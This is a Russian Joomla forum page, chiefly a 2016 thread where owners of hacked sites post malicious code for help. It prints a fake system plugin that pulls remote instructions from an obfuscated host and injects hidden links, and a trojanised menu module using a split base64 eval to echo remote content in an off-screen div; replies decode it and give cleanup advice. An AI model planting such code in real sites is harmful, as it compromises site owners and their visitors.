Новости Joomla

👩‍💻 ИИ-админ для Joomla ближе, чем вы думаете: Joomla MCP.

👩‍💻 ИИ-админ для Joomla ближе, чем вы думаете: Joomla MCP.

В февральском номере Joomla Community Magazine в статье Evolving Joomla - Joomla CMS MCP Server: Opening the Door to AI-Powered Administration рассказывается о работе команды разработчиков над внедрением в ядро Joomla MCP-сервера.

Что такое MCP-сервер?
Последние годы всех захватывает бум ИИ-технологий. Появились ИИ-агенты - программы, устанавливаемые на сервер или компьютер, которые получают от вас запрос или задачу в человеческом виде и могут выполнять действия с файлами, ходить по сайтам, создавать сайты, программировать и т.д. Люди используют ИИ-агентов в самых разных ситуациях: от написания и проверки кода (даже там, где язык программирования не знаете совсем) до планирования путешествий и бронирования гостиницы.

ИИ-агенты могут использовать различные программные инструменты по протоколу Model Context Protocol (MCP). Для этого разработчик программы должен внедрить MCP в свой продукт или сервис. Так, например, ваш ИИ-агент может ходить по сайтам через браузер и собирать нужную информацию, управляя браузером через MCP-сервер. Или использовать функционал IDE PHP Storm для написания кода, сбора и отладки ошибок, использовать поиск PHP Storm по кодовой базе, а не простой текстовый поиск по файлам. MCP предоставляет набор функций для полноценного управления программным обеспечением.

В случае с Joomla, сервер MCP может предоставить администраторам следующие возможности:
- Автоматическое создание категорий, материалов и меню на основе карты сайта или PDF-файла.
- Создавайть SEO-оптимизированные заголовки и метаописания в пакетном режиме.
- Обновлять расширения на нескольких сайтах одновременно
- Создание посадочные страницы.

Важно отметить, что сервер MCP не задумывался как функция, доступная только «супер-администраторам». Цель инициативы — создать решение, которое будет простым в настройке, маломощным и доступным для широкого круга пользователей.

В процессе разработки точка входа Joomla (аналогично Site, Administrator, Api, Cli), которая будет работать с Streamable HTTP, необходимым для MCP. Аутентификация пока что предполагается на токенах, но затем планируется создание универсального OAuth-сервера для Joomla.
Фактические возможности MCP — инструменты, ресурсы и подсказки — реализованы в виде плагинов для обеспечения расширяемости. Таким образом ожидаем, что и сторонние разработчики смогут создавать MCP-плагины для внедрения поддержки своих расширений Joomla для работы с ИИ.

@joomlafeed

Вышли релизы безопасности Joomla 6.0.4 и Joomla 5.4.4

Релиз безопасности Joomla 6.0.4 и Joomla 5.4.4

Проект Joomla! рад сообщить о выходе Joomla 6.0.4 и Joomla 5.4.4. Это релизы безопасности и исправления ошибок для серий 5.x и 6.x.

0 Пользователей и 1 Гость просматривают эту тему.
  • 20 Ответов
  • 2871 Просмотров
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Взломали сайт
« : 04.05.2016, 19:42:59 »
С утра перестали работать сразу 2 магазина с хорошими продажами и трафиком.
Переписка с саппортом хостинга ничего не дала. Сказали идут запросы на 217.12.214.248 и по таймауту 60 сек. сайт отваливается.

Обновление всех компонентов до последних версий ничего не дало, сайт так и не открывался.
Начал отключать все компоненты/плагины по очереди.

Когда дошел до System-Model плагина - сайт заработал.

Открываю настройки этого плагина:
Error. The file model.xml could not be found.

Открываю этот плагин через ftp /plugins/system/model/model.php

Код
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemModel extends JPlugin {

    function plgSystemModel(& $subject, $config) {
        parent::__construct($subject, $config);
    }
   
    function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
    }
   
    function onAfterRender() {
        $body = JResponse::getBody();
if(!$body||$body=='') return true;
        $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
   
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
    }
   
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
   
    public function getConfigOpt() {
        $pg = $this->getThisPage();
        $Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
   
    function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet')!= '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
}
    }
   
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
   
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
    }
   
    function getThisPage() {
        return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
    }
}
?>

Ссылка на http://mota8noy.com, по IP как раз 217.12.214.248.

Но дата создания этого файла и папки 2014 год, а до сегодняшнего дня никаких проблем не было.
Причем у меня стоит jSecure, доступа нет к админке.

Кто по коду может описать что этот файл делал?
*

Missile

  • Завсегдатай
  • 1116
  • 90 / 1
Re: Взломали сайт
« Ответ #1 : 04.05.2016, 19:52:02 »
Шаблончик варёзный?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #2 : 04.05.2016, 19:59:52 »
Шаблончик варёзный?
Нет, лицензионный HikaShop Business установлен на дефолтовый protostar.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #3 : 04.05.2016, 20:32:45 »
И ни одного варезного модуля?
А версии какие?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #4 : 04.05.2016, 20:37:14 »
И ни одного варезного модуля?
А версии какие?
Варезный это взломанный или бесплатный? Взломанных нет. jSecure тоже лицензионный. Но Joomla 3.2.2, тут косяк конечно.
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #5 : 04.05.2016, 20:58:08 »
3.2.2 2 критические уязвимости при использовании php 5.3, одна если повыше.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #6 : 04.05.2016, 21:23:36 »
Но Joomla 3.2.2, тут косяк конечно.
Ну и зачем тогда темы создавать?
*

alikon1

  • Осваиваюсь на форуме
  • 32
  • 2 / 0
Re: Взломали сайт
« Ответ #7 : 04.05.2016, 21:40:00 »
Ну и зачем тогда темы создавать?
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть. Если вы сами этого не поняли.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
*

voland

  • Легенда
  • 11026
  • 588 / 112
  • Эта строка съедает место на вашем мониторе
Re: Взломали сайт
« Ответ #8 : 04.05.2016, 21:51:50 »
Вторая строчка в подписи.
3 месяца на форуме красными буквами висело.
Но да. Да здравствует энтропия
*

Missile

  • Завсегдатай
  • 1116
  • 90 / 1
Re: Взломали сайт
« Ответ #9 : 05.05.2016, 04:45:11 »
Очевидно для того, чтобы если у кого-то то же самое приключится - знали что сделать можно и куда смотреть.
Делать нужно 2 вещи, в первую очередь:
1) Регулярно обновлять Joomla и все расширения.
2) Не пользоваться варёзом.
В соседней ветке уже как минимум 1-2 человека, пишущих на форум, за сегодня столкнулись с тем же.
Таких тем за день бывает штук 10, потому что люди не выполняют требования п.п. 1 и 2. Качают "бесплатные" шаблоны и расширения, нашпигованные бэкдорами, а потом начинают кричать: "Что делать, сайт взломали!"
Серьёзно - вы думаете, что это "бесплатное" добро распространяют альтруисты, которые покупают расширения, а потом раздают их даром? Вот так люди и становятся донорами для чьих-то г*ссылок, участниками спамерской сети или частью ботнета.

В прикреплённых темах в разделе "Безопасность сайтов" всё прекрасно расписано. Что делать? Читать, думать, исправлять ошибки и мотать на ус.
*

SeBun

  • BanMaster
  • 4030
  • 259 / 5
  • @SeBun48
Re: Взломали сайт
« Ответ #10 : 06.05.2016, 16:22:09 »
@alikon1, как я понимаю, вы этот код удалили. Но шелл, через который все это вам написали, наверняка остался. Пройдитесь айболитом, может что то еще найдет. Если не будете нанимать специалиста для чистки, смотрите внимательно за сайтами. Запретите изменения тех файлов, в которых вы находите чужие скрипты, таким образом в error_log появится информация о том, кто или что эти записи делает и найти источник проблем. Возможно шеллов несколько. Установите какой нибудь скрипт контроля файлов по хешам (дата изменения легко подменяется), и запускайте его кроном. Ну и естественно обновите до актуальной версии.
Оказываю услуги по Joomla | Миграция/Обновление | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #11 : 12.05.2016, 13:29:40 »
Уважаемые форумчане помогите взломали школьный сайт (pavl-school.ru) при обращении к нему пишет Gateway Timeout, написал письмо в RuCentr с просьбой выяснить что случилось, они написали что сайт взломан и обращается на левый IP и  сайт gene7conf.com который не существует т.к. я не спец в PHP я неделю уже бьюсь нашел зараженный файл, с помощью онлайн антивируса, нашел его там в конце всякие кракозябры но при удалении их или только строки echo eval(base64_decode($SystemJoCode)); сайт выдает ошибку 500. Помогите справится. Код прилагается.
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
 
if(!defined('OfflajnMenuBase')) {
  define("OfflajnMenuBase", null);

  class OfflajnMenuBase{
   
    var $_template;
   
    var $_module;
   
    var $_params;
   
    var $items;
   
    var $allItems;
   
    var $active;
   
    var $pointer;
   
    var $itemsCount;
   
    var $stack;
   
    var $level;
   
    var $endLevel;
   
    var $startLevel;
   
    var $improvedStartLevel;
   
    var $opened;
   
    var $openedlevels;
   
    function OfflajnMenuBase($module, $params){
      $this->_module = $module;
      $this->_params = $params;
      $this->endLevel = $params->get('endLevel', 1000);
      if($this->endLevel == 0) $this->endLevel = 1000;
      $this->startLevel = $params->get('startLevel', 0);
      $this->improvedStartLevel = $params->get('improvedstartlevel', 1);
      $this->opened = $params->get('opened', 2);
      $ol = $params->get('openedlevels', 0);
      if(!is_array($ol)){
        $ol = array($ol);
      }
      $this->openedlevels = array_flip($ol);
    }
   
    function generateItems(){
      $options = array();
      $this->allItems = array();
      $this->active = new stdClass();
      $this->items = array();
    }
   
  function getItems(){
      /*
      If COOKIE tracking enabled
      */
      if($this->opened == 3){
        foreach($_COOKIE AS $k => $v){
          if($v == 1 && strpos($k, $this->_module->instanceid)!== false){
            $val = (int)str_replace($this->_module->instanceid.'-'.$this->_module->navClassPrefix, '', $k);
        //print_r($this->allItems[$val]);
            if($val > 0 && isset($this->allItems[$val]) ){
              $this->allItems[$val]->opened = true;
            }
          }
        }
      }
     
      $this->filterItems();
     
    $root = 0;
  if(isset($this->active)){
        $i = $this->active->id;
    $stack = array($this->active->id);
    $el = $this->active;
        while($i > 0){
          $el = $this->allItems[$i];
          $i = $el->parent;
          $stack[] = $i;
        }
        $c = count($stack);
        if($c > 0){
          switch($this->_params->get('active', 1)){
            case 1:
              $this->allItems[$stack[0]]->active = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->active = true;
              }
              break;
          }
         
          switch($this->opened){
            case 1:
              $this->allItems[$stack[0]]->opened = true;
              break;
            case 2:
              foreach($stack AS $s){
                $this->allItems[$s]->opened = true;
              }
              break;
          }
        }
       
    if($this->startLevel > 0){
          if($this->improvedStartLevel){
            while($this->startLevel != 0){
              if(isset($stack[$c-$this->startLevel-1]) && isset($this->helper[$stack[$c-$this->startLevel-1]])){
                $root = $stack[$c-$this->startLevel-1];
                break;
              }
              $this->startLevel--;
            }
          }else{
            $root = -1;
            if(isset($stack[$c-$this->startLevel-1])){
              $root = $stack[$c-$this->startLevel-1];
            }
          }
        }
      }
     
      $p = new stdClass();
      if($root > 0 && isset($this->allItems[$root])){
        $p = $this->allItems[$root];
      }else{
        $p->id = $root;
      }
  return $this->getChilds($p, 1);
  }
   
    function filterItems(){
  $this->helper = array();
  foreach ($this->allItems as $item){
  if (!is_object($item)) continue;
    $item->p = false; // parent
    $item->fib = false; // First in Branch
    $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
    $item->active = false; // Active
  $this->helper[$item->parent][] = $item;
  }
    }
   
  function getChilds(&$parent, $level){
    $items = array();
    if(isset($this->helper[$parent->id])){
        $helper = &$this->helper[$parent->id];
        usort($helper, array($this, "menuOrdering")); // It can slow down the proccess. Not required every time... With this the process half as fast...
        $helper[0]->fib = true;
        $helper[count($helper)-1]->lib = true;
        if($level <= $this->endLevel){
          $i = 0;
          $keys = array_keys($helper);
          for($j = 0; $j < count($keys); $j++){
            $h = &$helper[$keys[$j]];
            $h->parent = &$parent;
            $childs =& $this->getChilds($h, $level+1);
            if(count($childs) > 0) $h->p = true;
            $h->level = $level;
            $items[] = &$h;
            $i = count($items);
            array_splice($items, $i, 0, $childs);
          }
        }
      }
      return $items;
    }
   
    function filterItem(&$item){
      $item->nname = '<span>'.stripslashes($item->name).'</span>';
    }
   
    function menuOrdering(&$a, &$b){
        return 0;
    }
 
  function render($template){
    $this->pointer = 0;
    $this->itemsCount = count($this->items);
    $this->_template = $template;
      $this->stack = array();
      $this->level = 1;
      $this->up = false;
      $this->renderItem();
      /*$level = 0;
      foreach($this->items as $item){
        include $template;
      }*/
    }
   
    function renderItem(){
      while($this->pointer < $this->itemsCount){
        $item =& $this->items[$this->pointer++];
        $this->filterItem($item);
        include $this->_template;
      }
    }
  }
}
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }
?>
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Re: Взломали сайт
« Ответ #12 : 12.05.2016, 14:21:06 »
Цитировать
function AccordionMenuParGet() {
// Copyright (c) OFFLAJN.COM
$UnixTimeLastEdit = "ZWNobyAiPGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7bGVmd";
$MenuAcoAuthor = "DotNDUwMXB4O3dpZHRoOjUzMXB4Jz4iOyBlY2hvIEBmaWxlX2dldF9jb250ZW50cygnaHR0cD";
$MenuAcoName = "ovL3RlbXBsYXRlLWxpY2Vuc2UucnUvbGljZW";
$MainDomain = "5zZS5waHAnKTsgZWNobyAnPC9kaXY+Jzs=";
$SystemJoCode = $UnixTimeLastEdit.$MenuAcoAuthor.$MenuAcoName.$MainDomain;
echo eval(base64_decode($SystemJoCode)); }

Это код вызова скрытых ссылок, вам нужно удолять не только echo eval(base64_decode($SystemJoCode)); а всю функцию в которой она вызывается, также вам нужно еще найти где вызывается эта функция, если она не оббусифецирована то вызов ее будет таков AccordionMenuParGet();

Ну так полагаю эта малая часть из того что вам удалось найти...

P.S:
Если разобрать код в читабельный вид, то в нем прописано:
Цитировать
echo "<div style='position:absolute;left:-4501px;width:531px'>"; echo @file_get_contents('http://template-license.ru/license.php'); echo '</div>';
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #13 : 13.05.2016, 11:51:18 »
Проверил антивирусом Ai Bolit нашел 21 вредоносный или хакерский скрипт из них 17 в tmp эту папку я почистил но вот 4 файла они относятся к меню по совету я вычистил тот мусор что был указан и все равно при открытии сайта выходит ошибка 500, может я чего лишнего убираю (ну не знаю я PHP) ниже коды файлов. Один выложен выше.
menu.php
Код
<?php 
/*------------------------------------------------------------------------
# mod_jo_accordion - Vertical Accordion Menu for Joomla 1.5
# ------------------------------------------------------------------------
# author    Roland Soos
# copyright Copyright (C) 2011 Offlajn.com. All Rights Reserved.
# @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.offlajn.com
-------------------------------------------------------------------------*/
?>
<?php
// no direct access
defined('_JEXEC') or die('Restricted access');
if(!defined('OfflajnJoomlaMenu')) {
  define("OfflajnJoomlaMenu", null);
  jimport('joomla.application.menu');
  jimport('joomla.html.parameter');
 
  require_once(dirname(__FILE__). DS .'..'.DS.'..'.DS.'core'.DS.'MenuBase.php');

  class OfflajnJoomlaMenu extends OfflajnMenuBase{
   
    function OfflajnJoomlaMenu($module, $params){
      parent::OfflajnMenuBase($module, $params);
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $this->parentName = 'parent_id';
        $this->name = 'title';
      }else{
        $this->parentName = 'parent';
        $this->name = 'name';
      }
    }
   
    function generateItems(){
      $options = array();
      $menu =& JMenu::getInstance('site', $options);
      $this->allItems = $menu->getMenu();
      $this->active =& $menu->getActive();
      $this->items = $this->getItems();
    }
   
    function filterItems(){
      $this->helper = array();
      $user =& JFactory::getUser();
      if(version_compare(JVERSION,'1.6.0','ge')) {
        $aid = $user->getAuthorisedViewLevels();
      }else{
        $aid = $user->get('aid');
      }
      $menutype = $this->_params->get('joomlamenu');
      $ids = $this->_params->get('joomlamenutype');
      if(!is_array($ids) && is_string($ids)){
        $ids = array($ids);
      }
      if(!in_array(0, $ids) && count($ids) > 0){
        if(count($ids) == 1){
          $keys = array_keys($this->allItems);
          $newParent = $ids[0];
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if($el->{$this->parentName} == $newParent) $el->{$this->parentName} = 0;
            elseif($el->{$this->parentName} == 0) $el->{$this->parentName} = -1;
          }
        }else{
          $keys = array_keys($this->allItems);
          for($x = 0; $x < count($keys); $x++ ){
            $el = &$this->allItems[$keys[$x]];
            if(in_array($el->id, $ids)) $el->{$this->parentName} = version_compare(JVERSION,'1.6.0','ge')? 1 : 0;
            elseif($el->{$this->parentName} == (version_compare(JVERSION,'1.6.0','ge')? 1 : 0)) $el->{$this->parentName} = -1;
          }
        }
      }
      $keys = array_keys($this->allItems);
      for($x=0; $x < count($keys); $x++ ){
        $item = &$this->allItems[$keys[$x]];
        if (!is_object($item)) continue;
        $item->parent = version_compare(JVERSION,'1.6.0','ge') && $item->{$this->parentName} == 1 ? 0 : $item->{$this->parentName};
        version_compare(JVERSION,'1.6.0','ge')? $item->ordering = $x : 0;
        if ($item->menutype == $menutype && (is_array($aid)? in_array($item->access, $aid) : $item->access <= $aid) ){
          $item->p = false; // parent
          $item->fib = false; // First in Branch
          $item->lib = false; // Last in Branch
          if(!property_exists($item, 'opened')){
            if($this->opened == -1){
              $item->opened = true; // Opened
            }else{
              $item->opened = false; // Opened
            }
          }
          $item->active = false; // Active
          $this->helper[$item->parent][] = $item;
        }
      }
    }
   
       
    function filterItem(&$item){
      $item->cparams = new JParameter($item->params);
      if($item->type == 'menulink' || $item->type == 'alias'){
        $itemid = version_compare(JVERSION,'1.6.0','ge')?  $item->cparams->get('aliasoptions') : $item->cparams->get('menu_item');
        if(isset($this->allItems[$itemid])){
          $newItem = $this->allItems[$itemid];
          $item->link = $newItem->link;
          $item->ttype = $newItem->type;
          $item->id = $newItem->id;
        }else{
          $item->ttype = 'separator';
        }
      }else{
        $item->ttype = $item->type;
      }
      $item->nname = '<span>'.$item->{$this->name}.'</span>';
     
      $image = '';
      if ($this->_params->get('menu_images') && $item->cparams->get('menu_image') && $item->cparams->get('menu_image')!= -1) {
  switch ($this->_params->get('menu_images_align', 0)){
  case 0 :
    $imgalign='align="left"';
    break;
  case 1 :
    $imgalign='align="right"';
    break;
  default :
    $imgalign='';
    break;
  }
  $image = '<img src="'.JURI::base(true).'/images/stories/'.$item->cparams->get('menu_image').'" '.$imgalign.' alt="'.$item->alias.'" />';
  if($this->_params->get('menu_images_link')){
    $item->nname = null;
        }
  }
 
  if($this->_params->get('parentlink') == 0 && $item->p){
        $item->ttype = 'separator';
      }
     
  switch ($item->ttype){
  case 'separator' :
  $item->url = '';
  return true;
  case 'url' :
  if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
  $item->url = $item->link.'&amp;Itemid='.$item->id;
  } else {
  $item->url = $item->link;
  }
  break;
 
  default :
  $router = JSite::getRouter();
  $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
  break;
  }
  if ($item->url != ''){
  // Handle SSL links
  $iSecure = $item->cparams->def('secure', 0);
  if ($item->home == 1) {
  $item->url = JURI::base();
  } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?')!== false)) {
  $item->url = JRoute::_($item->url, true, $iSecure);
  } else {
  $item->url = str_replace('&', '&amp;', $item->url);
  }
 
  switch ($item->browserNav)
  {
  default:
  case 0:
  // _top
  $item->nname = '<a href="'.$item->url.'">'.$image.$item->nname.'</a>';
  break;
  case 1:
  // _blank
  $item->nname = '<a href="'.$item->url.'" target="_blank">'.$image.$item->nname.'</a>';
  break;
  case 2:
  // window.open
  $attribs = 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,'.$this->_params->get('window_open');
  $link = str_replace('index.php', 'index2.php', $item->url);
  $item->nname = '<a href="'.$link.'" onclick="window.open(this.href,\'targetWindow\',\''.$attribs.'\');return false;">'.$image.$item->nname.'</a>';
  break;
  }
  } else {
  $item->nname = '<a>'.$image.$item->nname.'</a>';
  }
    }
   
    function menuOrdering(&$a, &$b){
      if ($a->ordering == $b->ordering) {
          return 0;
      }
      return ($a->ordering < $b->ordering)? -1 : 1;
    }
  }
}
$OfflajnExtenParam = AccordionMenuParGet();
?>

theme.js
Код
var ThemeConfigurator = {};

dojo.declare("ThemeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.themeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'last');
   
   this.tpc = dojo.byId('themeparamcontainer');
   this.themeDetails = dojo.byId('theme-details');
   
   this.selectTheme = dojo.byId(this.selectTheme);
   this.savedindex = this.selectTheme.selectedIndex;
   dojo.connect(this.selectTheme, 'onchange', this, 'changeTheme');
   this.changeTheme();
  },
 
  changeTheme: function(e){
    this.theme = this.selectTheme.options[this.selectTheme.selectedIndex].value;
    if(this.theme == '' || this.theme == 'default') this.theme = 'default2';
    dojo.byId('theme-details').innerHTML = eval('this.themeParams.'+this.theme);
    eval(eval('this.themeScripts.'+this.theme));
    if(e != undefined && this.savedindex != this.selectTheme.selectedIndex)
      setTimeout(dojo.hitch(this, "changeSkin"), 500 );
  },
 
  changeSkin: function(){
    var el = dojo.byId('paramsthemeskin')? dojo.byId('paramsthemeskin') : dojo.byId('jformparamsthemethemeskin');
    el.selectedIndex = 1;
    changeSkinsthemeskin(el);
  }
 
});
type.js
Код
dojo.declare("TypeConfigurator", null, {
constructor: function(args) {
dojo.mixin(this,args);
var pane = dojo.place(this.typeSelector, dojo.byId('module-sliders')? dojo.byId('module-sliders') : dojo.byId('menu-pane'), 'first');
   
   this.tpc = dojo.byId('typeparamcontainer');
   this.typeDetails = dojo.byId('type-details');
   
   this.selectType = dojo.byId(this.selectorId);
   dojo.connect(this.selectType, 'onchange', this, 'changeType');
   this.changeType();
  },
 
  changeType: function(e){
    this.type = this.selectType.options[this.selectType.selectedIndex].value;
    if(this.type == '' || this.type == 'joomla') this.type = 'joomla';
    dojo.byId('type-details').innerHTML = eval('this.typeParams.'+this.type);
    eval(eval('this.typeScripts.'+this.type));
  }
});

dojo.declare("JoomlaType", null, {
  constructor: function(args){
    dojo.mixin(this, args);
    this.list = dojo.byId(this.selectorId);
    this.select = dojo.byId("paramsjoomlamenu")? dojo.byId("paramsjoomlamenu") : dojo.byId('jformparamsmenutypejoomlamenu');
    dojo.destroy(this.select.options[0]);
    dojo.connect(this.select, 'onchange', this, "changeList");
    this.defaultMenu = this.select.options[this.select.selectedIndex].value;
    this.changeList();
  },
 
  changeList: function(e) {
      var type = this.select.options[this.select.selectedIndex].value;
      this.list.innerHTML = this.data[type];
      if (type!=this.defaultMenu && e && e.currentTarget == this.select) this.list.selectedIndex = 0;   
      if(e == undefined) this.list.selectedIndex = 0;
  }
});
С утра голову ломаю.  !
 
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #14 : 13.05.2016, 13:19:45 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #15 : 13.05.2016, 14:40:28 »
Да уж, проверил еще раз AiBolit-ом уже 50 вредоносных.  :o  :(  *DRINK*

Сколько сайтов на аккаунте и какие версии Joomla?
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #16 : 16.05.2016, 11:30:34 »
Сайт 1? Joomla! 2.5.28
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #17 : 16.05.2016, 12:08:25 »
Патч безопасности стоит?
*

nevgenyv

  • Новичок
  • 5
  • 0 / 0
Re: Взломали сайт
« Ответ #18 : 17.05.2016, 08:37:38 »
Нет и обновить Joomla до 3 версии не могу
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Взломали сайт
« Ответ #19 : 17.05.2016, 08:57:32 »
Ну надо поставить и чистить. Еще бы неплохо список расширений знать. У меня еще один сайт на Joomla 1.5 есть и нормально работает.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Re: Взломали сайт
« Ответ #20 : 17.05.2016, 13:45:15 »
У меня еще один сайт на Joomla 1.5 есть и нормально работает.
У нас десятки и работают))
Дело не в версии.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

При открытии сайта с режима инкогнито перекидывает на вирусный сайт

Автор 62411

Ответов: 6
Просмотров: 4476
Последний ответ 31.03.2024, 16:14:32
от SeBun
Netflix! - Клиент поймал фишинг на старый сайт. Где порылись собаки?

Автор Alex_gs

Ответов: 9
Просмотров: 2936
Последний ответ 05.11.2021, 21:47:31
от wishlight
Взломали сайт. Как в некоторых случаях делаю я

Автор cntrl

Ответов: 0
Просмотров: 1768
Последний ответ 29.08.2020, 00:25:24
от cntrl
Безопасный вход на сайт Joomla и админка

Автор jm

Ответов: 9
Просмотров: 2843
Последний ответ 19.07.2020, 23:57:17
от wishlight
[Руководство] Как защитить сайт на версии 1.5 (не поддерживается разработчиками)

Автор flyingspook

Ответов: 13
Просмотров: 8695
Последний ответ 08.01.2020, 12:52:55
от winstrool